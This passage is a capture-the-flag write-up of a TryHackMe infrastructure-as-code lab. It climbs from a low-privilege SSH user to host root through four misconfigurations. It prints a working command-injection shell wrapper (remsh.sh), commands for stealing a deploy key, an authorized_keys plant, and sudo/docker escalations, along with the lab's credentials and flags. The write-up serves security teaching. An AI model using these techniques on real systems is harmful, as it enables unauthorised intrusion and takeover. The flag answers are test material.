entry:entry and have to recover four flags. The elegant part of this room is that
the four flags map one-to-one onto the four IaC security sins taught in Task 6 - unremoved
defaults, leaked secrets, over-shared mounts, and an over-permissive provisioner. Each flag is
one rung of a privilege ladder that climbs from a low-privilege shell all the way to host root.
Now that you have learned how on-prem IaC deployments work and the security concerns that arise when using IaC, it is time to put your knowledge to the test. [...] Once authenticated, you will find an IaC pipeline's scripts. Work through these files to identify vulnerabilities and attack the machines deployed by the IaC pipeline to ultimately gain full control of the pipeline! You can also use this SSH connection to "catch shells" as required. You will have to leverage these files together with what you learned in Task 5 to be able to compromise the pipeline!
Hints: Nmap has been installed for you on the host, allowing you to scan the port range of the Docker network, if required. Use SSH to proxy out the traffic of the web application, or any other port, as required. You can use the SCP command of SSH to transfer out the IaC configuration files.
There is no downloadable handout - the target is a live TryHackMe machine (its IP rotates every
time the lab is restarted). Access is a single SSH credential, entry:entry. Right
from the start it is worth forwarding a few ports for the web application and the internal
services:
$ sshpass -p entry ssh entry@10.128.140.183
$ sshpass -p entry ssh entry@10.128.140.183 \
-L 20080:172.17.0.2:80 -L 30080:172.18.0.2:80
We land as entry (uid 1001), a user with no sudo, in no interesting group. A second
home directory, /home/ubuntu, belongs to the pipeline owner and holds the IaC
scripts. Nmap has been pre-installed by the room, so we map the host and the Docker networks:
$ nmap -T5 -p- -sV localhost
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
80/tcp open http WebSockify Python/3.8.10
631/tcp open ipp CUPS 2.3
5901/tcp open vnc VNC (protocol 3.8)
$ ifconfig -a | grep 'inet ' | grep 172
inet 172.20.128.1 ...
inet 172.18.0.1 ...
inet 172.17.0.1 ...
$ nmap -p- -T5 -sV 172.17.0.2 172.17.0.3
172.17.0.2 80/tcp open http Werkzeug/3.0.1 Python/3.8.10 # webserver (Flask)
172.17.0.3 22/tcp open ssh OpenSSH 7.9p1 Debian
3306/tcp open mysql MySQL 5.7.42 # dbserver
Conclusion: Two Docker containers - a webserver running a Flask app on port 80, and a dbserver running MySQL 5.7 plus SSH. They appear on several networks (172.17 bridge, 172.18 mirror, 172.20.128 the Vagrant private net); it is the same two containers each time. The websockify/CUPS/VNC on the host itself turn out to be the TryHackMe desktop plumbing, not the challenge.
The webserver's Flask app is a "Bucket List" sign-up/sign-in site (a Terminator-themed skin). It
is reachable through the tunnel at http://localhost:20080/. In parallel,
/home/ubuntu/iac holds the whole Vagrant + Ansible pipeline, most of it readable by
entry.
The deployed web application (sign-in page).
Conclusion: Two obvious attack surfaces - the MySQL server, and the web application - plus a pile of IaC source to read. We chase all three.
The Ansible defaults (roles/webapp/defaults/main.yml) hand us the database
credentials in clear: root:mysecretpasswd on 172.20.128.3. A MySQL root
is often a straight path to code execution via sys_eval or INTO OUTFILE.
$ mysql -u root -h 172.20.128.3 -p # password: mysecretpasswd
mysql> select sys_eval("id");
ERROR 1305 (42000): FUNCTION mysql.sys_eval does not exist
mysql> select "huhu" into outfile '/app/userhome.html';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv
option so it cannot execute this statement
Conclusion: secure_file_priv is set to /var/lib/mysql-files/, so
no User-Defined-Function (UDF) upload and no arbitrary file read/write. MySQL is a dead end for
code execution. On to the web app.
Reading the pipeline, two prizes stand out in /home/ubuntu: the flag file
flag3-of-4.txt, and iac/keys/id_rsa, the Vagrant deploy key that opens
root on the containers. Both are owned by ubuntu and mode 600.
$ id
uid=1001(entry) gid=1001(entry) groups=1001(entry)
$ ls -l /home/ubuntu/flag3-of-4.txt /home/ubuntu/iac/keys/id_rsa
-rw------- 1 ubuntu ubuntu 37 ... /home/ubuntu/flag3-of-4.txt
-rw------- 1 ubuntu ubuntu 2602 ... /home/ubuntu/iac/keys/id_rsa
$ cat /home/ubuntu/flag3-of-4.txt
cat: /home/ubuntu/flag3-of-4.txt: Permission denied
The variables file provision/variables/web.yml also contains crypted Linux passwords
(rootPassword = iloveyou1, vagrantPassword =
stealingMoneyFromBanks). They look like SSH credentials, but every combination is
rejected on both containers - they are leftover decoys from a Tomcat/banking role.
$ ssh root@172.18.0.2 id
root@172.18.0.2's password: iloveyou1
Permission denied, please try again.
Conclusion: We know exactly what we want (the deploy key), we just cannot read it yet as
entry. We need to run code as someone else. script.sh in
ubuntu's home shows what is actually running: a Flask app is exec'd inside the webserver
container - so the app is our way in.
The readable copy of the app source (/home/ubuntu/flask-app-terminator/) does not
quite match the deployed app. The sign-in template, though, hides a developer helper:
<form action="/api/testDB" method="post">
<input type="hidden" name="_command" value="service mysql status"/>
<button id="btntestDB">(Dev) Test DB</button>
</form>
The sign-in page carries an out-of-place green "(Dev) Test DB" button, wired to POST /api/testDB.
A hidden _command field whose value is a shell command, posted to a route
(/api/testDB) that only exists in the deployed app - not in the readable source copy.
That smells like the command is passed to a shell. We change the value and post it ourselves:
$ curl -s -X POST http://localhost:20080/api/testDB \
--data '_command=service+mysql+status'
...
MySQL Community Server 5.7.42 is running. # the command output, reflected in the page
...
The response reflects the command output straight into the page - here the default "service mysql status".
It runs the command and reflects the output into the page. So we swap in one of our own -
id - and pull the answer back out of the HTML with a small grep on the element that
carries the result:
$ curl -s -X POST http://localhost:20080/api/testDB --data '_command=id' \
| grep -A1 'font-orbitron text-4xl text-gray-100 text-glow' \
| grep -v 'font-orbitron text-4xl text-gray-100 text-glow'
uid=0(root) gid=0(root) groups=0(root)
Full command execution as root - the app runs as root inside the webserver container.
Typing that pipeline for every command gets old fast, so a small wrapper, remsh.sh (listed in full in section 4, Solution), base64-encodes an arbitrary command, runs it, and base64s the output back out of
the same element. The very first listing already contains flag1:
$ ./remsh.sh id
uid=0(root) gid=0(root) groups=0(root)
$ ./remsh.sh ls -l
-rw-r--r-- 1 root root 46 Jan 23 2024 flag1-of-4
$ ./remsh.sh cat flag1-of-4
THM{Dev.Bypasses.and.Checks.can.be.Dangerous}
flag1 = THM{Dev.Bypasses.and.Checks.can.be.Dangerous}
Conclusion: A dev-only bypass left in production gives unauthenticated RCE as root inside the webserver container. Rung one of the ladder.
Vagrant bind-mounts the project directory into each container as /vagrant. So
/home/ubuntu/iac - including the 600 deploy key we could not read as
entry - is sitting inside the container, where we are root. We simply read it (here
through a reverse shell caught on the host, but remsh.sh cat works just as well):
$ cd /vagrant/keys ; ls -la
-rw------- 1 1000 1000 2602 Jan 23 2024 id_rsa
-rw-r--r-- 1 1000 1000 570 Jan 23 2024 id_rsa.pub
$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...
-----END OPENSSH PRIVATE KEY-----
Saved locally, this key opens root on both containers - the webserver
(172.17.0.2) and the dbserver (172.17.0.3). One deploy key, never
removed, unlocks the whole deployment. flag2 sits in the webserver's root home:
$ ssh -i ./id_rsa root@172.17.0.2
root@e485755d7773:~# cat flag2-of-4.txt
THM{IaC.Deployment.Keys.Must.be.Removed}
$ ssh -i ./id_rsa root@172.17.0.3 # same key, dbserver too
root@fff53cddff71:~#
flag2 = THM{IaC.Deployment.Keys.Must.be.Removed}
Conclusion: The secret that should never be in the pipeline (a private key) is readable the moment you are inside any container. Rung two.
The Vagrantfile shares more than the project directory. Its own comment gives it away -
"Will remove later to harden" - and it was never removed. On the webserver,
/proc/mounts shows the host's entire /home/ubuntu mounted at
/tmp/datacopy, read-write:
root@e485755d7773:~# grep datacopy /proc/mounts
/dev/root /tmp/datacopy ext4 rw,relatime,discard 0 0
root@e485755d7773:~# cat /tmp/datacopy/flag3-of-4.txt
THM{IaC.Shares.Should.be.Restricted}
flag3 = THM{IaC.Shares.Should.be.Restricted}
Conclusion: The host's 600 file flag3-of-4.txt is unreadable to
entry, but trivially readable to the root user inside the container that mounts it.
Rung three.
/tmp/datacopy is not just readable, it is writable. It maps to the host's
/home/ubuntu, so we can write into ubuntu's .ssh from the
container (where we are root) and then log in as ubuntu on the host. Generate a key
pair, append its public half to ubuntu's authorized_keys (chown to uid 1000 so
sshd's StrictModes accepts it), and connect:
root@e485755d7773:~# cat /tmp/datacopy/.ssh/authorized_keys # only the author's keys so far
...
root@e485755d7773:~# cat ~entry-pubkey >> /tmp/datacopy/.ssh/authorized_keys
$ ssh ubuntu@localhost
ubuntu@tryhackme:~$ id
uid=1000(ubuntu) ... groups=...,998(docker)
ubuntu is in the docker group (needed by the pipeline to run
vagrant docker-exec) - which is equivalent to host root, since the Docker daemon runs
as root. As it happens, the provisioner was even more permissive: sudo -l shows
NOPASSWD: ALL. Either road reaches root and flag4:
ubuntu@tryhackme:~$ sudo -l
User ubuntu may run the following commands on tryhackme:
(ALL : ALL) ALL
(ALL) NOPASSWD: ALL
ubuntu@tryhackme:~$ sudo cat /root/flag4-of-4.txt
THM{Provisioners.Usually.Have.Privileged.Access}
The pure Docker-group route reaches the same place without sudo, by mounting the
host filesystem into a throwaway container where you are root:
ubuntu@tryhackme:~$ docker run --rm -v /:/host ansible cat /host/root/flag4-of-4.txt
flag4 = THM{Provisioners.Usually.Have.Privileged.Access}
Conclusion: A provisioning account with far more privilege than it needs (docker group + passwordless sudo), reachable because of the writable host mount, is full host compromise. Rung four - and the room is done.
The deployed app's "Welcome Home" page - the dev bypass also sets a logged-in session, which is how the hidden route was noticed in the first place.
IdentitiesOnly=yes) - rejected on both containers. Vagrant rotated them.vagrant:vagrant, iloveyou1,
stealingMoneyFromBanks, mysecretpasswd, superapikey, the
Str0ng... Tomcat passwords) for root and vagrant -
rejected. The container images set no OS password.entry directly - none. No sudo, no useful
SUID/capabilities, not in the docker group, nothing writable in ubuntu's pipeline, no cron.secure_file_priv.Conclusion: The intended path is not a guessed credential at all - it is the dev bypass in the app, then the pipeline's own misconfigurations. Each of the room's four Question-Hints, read afterwards, describes exactly one rung: the dev feature, "look in /vagrant", the provisioning shares, and the over-privileged provisioner.
The one piece of tooling used is remsh.sh, a tiny wrapper that turns the
/api/testDB command injection into a usable shell. It base64-encodes the command so
spaces and shell metacharacters survive, runs it through sh inside the container,
and base64-encodes the output so it can be pulled cleanly out of the HTML response. Reproduced
verbatim (the long curl line was copied straight from the browser's dev tools, hence
the full header and cookie set):
#!/bin/sh
cmd="$*"
cmd=$(echo "$cmd" | base64)
cmd="echo $cmd | base64 -d | sh | base64"
cmd=$(echo "$cmd" | tr ' ' '+')
echo Command: $cmd
curl 'http://localhost:30080/api/testDB' -X 'POST' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Origin: http://localhost:30080' \
-H 'Referer: http://localhost:30080/signin' \
-H 'Cookie: session=eyJ1c2VyIjoxfQ.aoCyAg.xRSffM5EWXxYjjd18iqsv-Q4mAA' \
--data "_command=$cmd" \
| grep -A1 'class="font-orbitron text-4xl text-gray-100 text-glow"' \
| grep -v 'class="font-orbitron text-4xl text-gray-100 text-glow"' \
| base64 -d
echo ""
Two gotchas learned the hard way, worth fixing in the script: change the trailing
| base64 to | base64 -w0 (otherwise the output is wrapped at 76 columns
and the single-line grep -A1 extraction truncates it), and add 2>&1
after sh (otherwise stderr - "No such file or directory" and friends - is swallowed
and an error looks like a hang).
The full climb, condensed to the commands that matter:
# rung 1 - RCE as root in the webserver container, flag1
$ ./remsh.sh cat flag1-of-4
THM{Dev.Bypasses.and.Checks.can.be.Dangerous}
# rung 2 - read the deploy key from the /vagrant mount, ssh root to both containers, flag2
$ ./remsh.sh cat /vagrant/keys/id_rsa > id_rsa ; chmod 600 id_rsa
$ ssh -i ./id_rsa root@172.17.0.2 cat flag2-of-4.txt
THM{IaC.Deployment.Keys.Must.be.Removed}
# rung 3 - the host's /home/ubuntu is mounted at /tmp/datacopy, flag3
$ ssh -i ./id_rsa root@172.17.0.2 cat /tmp/datacopy/flag3-of-4.txt
THM{IaC.Shares.Should.be.Restricted}
# rung 4 - write authorized_keys into the mount, become ubuntu, sudo/docker to host root, flag4
$ ssh-keygen -f id_ubuntu ; # append id_ubuntu.pub to /tmp/datacopy/.ssh/authorized_keys
$ ssh -i id_ubuntu ubuntu@localhost sudo cat /root/flag4-of-4.txt
THM{Provisioners.Usually.Have.Privileged.Access}
flag1 = THM{Dev.Bypasses.and.Checks.can.be.Dangerous}
flag2 = THM{IaC.Deployment.Keys.Must.be.Removed}
flag3 = THM{IaC.Shares.Should.be.Restricted}
flag4 = THM{Provisioners.Usually.Have.Privileged.Access}
| # | Rung | Mechanism | IaC sin (Task 6) | Flag |
|---|---|---|---|---|
| 1 | RCE as root in the webserver container | Hidden /api/testDB route runs the POST field _command through a
shell; a "(Dev) Test DB" button left in production |
Defaults / forgotten dev feature | Dev.Bypasses... |
| 2 | root on both containers | Deploy key readable at /vagrant/keys/id_rsa (project dir bind-mounted in);
one key opens both containers |
Secret / deploy key never removed | ...Keys.Must.be.Removed |
| 3 | Read a 600 host file | The host's /home/ubuntu is bind-mounted rw at /tmp/datacopy
("Will remove later to harden"); container root ignores the 600 bits |
Insufficient hardening / over-shared mount | ...Shares.Should.be.Restricted |
| 4 | Host root | Write authorized_keys into the writable mount, become ubuntu;
ubuntu has the docker group and passwordless sudo |
Least privilege / over-permissive provisioner | ...Have.Privileged.Access |
And the whole chain as one picture:
The privilege ladder: RCE in the web container, then the deploy key, then the over-shared host mount, then the over-permissive ubuntu account - each rung one of Task 6's four IaC sins.
The four-stage attack path as a single picture, mapped to the four DevSecOps sins. Illustration generated with Google Gemini - the AI-rendered labels are decorative; the authoritative version is the SVG diagram and the summary table in section 6.